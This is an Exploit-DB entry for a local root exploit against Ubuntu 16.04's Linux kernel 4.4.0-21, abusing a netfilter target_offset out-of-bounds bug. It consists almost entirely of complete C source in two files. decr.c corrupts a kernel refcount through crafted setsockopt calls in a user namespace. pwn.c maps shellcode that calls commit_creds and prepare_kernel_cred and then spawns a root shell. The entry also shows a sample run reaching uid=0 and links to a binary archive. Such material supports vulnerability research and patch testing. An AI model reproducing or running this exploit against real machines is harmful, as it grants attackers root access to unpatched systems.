Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Privilege Escalation

EDB-ID:

40049

CVE:

N/A


Author:

vnik

Type:

local


Platform:

Linux_x86-64

Date:

2016-07-03


/*
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40053.zip
*/

--------------------------------------------------- decr.c ---------------------------------------------------
/**
 * Ubuntu 16.04 local root exploit - netfilter target_offset OOB
 * check_compat_entry_size_and_hooks/check_entry
 *
 * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
 *
 * Vitaly Nikolenko
 * vnik@cyseclabs.com
 * 23/04/2016
 *
 *
 * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
 * automatic loading).
 *
 * vnik@ubuntu:~$ uname -a
 * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 * vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
 * vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
 * vnik@ubuntu:~$ ./decr 
 * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
 * [!] Decrementing the refcount. This may take a while...
 * [!] Wait for the "Done" message (even if you'll get the prompt back).
 * vnik@ubuntu:~$ [+] Done! Now run ./pwn
 * 
 * vnik@ubuntu:~$ ./pwn
 * [+] Escalating privs...
 * root@ubuntu:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * root@ubuntu:~# 
 * 
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MALLOC_SIZE 66*1024

int check_smaep() {
	FILE *proc_cpuinfo;
	char fbuf[512];

	proc_cpuinfo = fopen("/proc/cpuinfo", "r");

	if (proc_cpuinfo < 0) {
		perror("fopen");
		return -1;
	}

	memset(fbuf, 0, sizeof(fbuf));
	
	while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
		if (strlen(fbuf) == 0)
			continue;
		
		if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {
			fclose(proc_cpuinfo);
			return -1;
		}
	}

	fclose(proc_cpuinfo);
	return 0;
}

int check_mod() {
	FILE *proc_modules;
	char fbuf[256];

	proc_modules = fopen("/proc/modules", "r");

	if (proc_modules < 0) {
		perror("fopen");
		return -1;
	}

	memset(fbuf, 0, sizeof(fbuf));
	
	while(fgets(fbuf, 256, proc_modules) != NULL) {
		if (strlen(fbuf) == 0)
			continue;
		
		if (!strncmp("ip_tables", fbuf, 9)) {
			fclose(proc_modules);
			return 0;
		}
	}

	fclose(proc_modules);
	return -1;
}

int decr(void *p) {
	int sock, optlen;
	int ret;
	void *data;
	struct ipt_replace *repl;
	struct ipt_entry *entry;
	struct xt_entry_match *ematch;
	struct xt_standard_target *target;
	unsigned i;

	sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

	if (sock == -1) {
	        perror("socket");
	        return -1;
	}

	data = malloc(MALLOC_SIZE);

	if (data == NULL) {
		perror("malloc");
		return -1;
	}

	memset(data, 0, MALLOC_SIZE);

	repl = (struct ipt_replace *) data;
	repl->num_entries = 1;
	repl->num_counters = 1;
	repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
	repl->valid_hooks = 0;

	entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
	entry->target_offset = 74; // overwrite target_offset
	entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);

	ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));

	strcpy(ematch->u.user.name, "icmp");
	void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
	uint64_t *me = (uint64_t *)(kmatch + 0x58);
	*me = 0xffffffff821de10d; // magic number!

	uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
	*match = (uint32_t)kmatch;
	
	ematch->u.match_size = (short)0xffff;

	target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
	uint32_t *t = (uint32_t *)target;
	*t = (uint32_t)kmatch;

	printf("[!] Decrementing the refcount. This may take a while...\n");
	printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");

	for (i = 0; i < 0xffffff/2+1; i++) {
		ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
	}

	close(sock);
	free(data);
	printf("[+] Done! Now run ./pwn\n");

	return 0;
}

int main(void) {
	void *stack;
	int ret;

	printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
	if (check_mod()) {
		printf("[-] No ip_tables module found! Quitting...\n");
		return -1;
	}

	if (check_smaep()) {
		printf("[-] SMEP/SMAP support dectected! Quitting...\n");
		return -1;
	}

	ret = unshare(CLONE_NEWUSER);

	if (ret == -1) {
		perror("unshare");
		return -1;
	}

	stack = (void *) malloc(65536);

	if (stack == NULL) {
		perror("malloc");
		return -1;
	}

	clone(decr, stack + 65536, CLONE_NEWNET, NULL);

	sleep(1);

	return 0;
}

--------------------------------------------------- pwn.c ---------------------------------------------------

/**
 * Run ./decr first!
 *
 * 23/04/2016
 * - vnik
 */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>

#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);

void __attribute__((regparm(3))) privesc() {
	commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
	prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
        commit_creds(prepare_kernel_cred((uint64_t)NULL));
}

int main() {
	void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
	assert(payload == (void *)MMAP_ADDR);

	void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);

	memset(shellcode, 0, 0x300000);

	void *ret = memcpy(shellcode, &privesc, 0x300);
	assert(ret == shellcode);

	printf("[+] Escalating privs...\n");

	int fd = open("/dev/ptmx", O_RDWR);
	close(fd);

	assert(!getuid());

	printf("[+] We've got root!");

        return execl("/bin/bash", "-sh", NULL);
}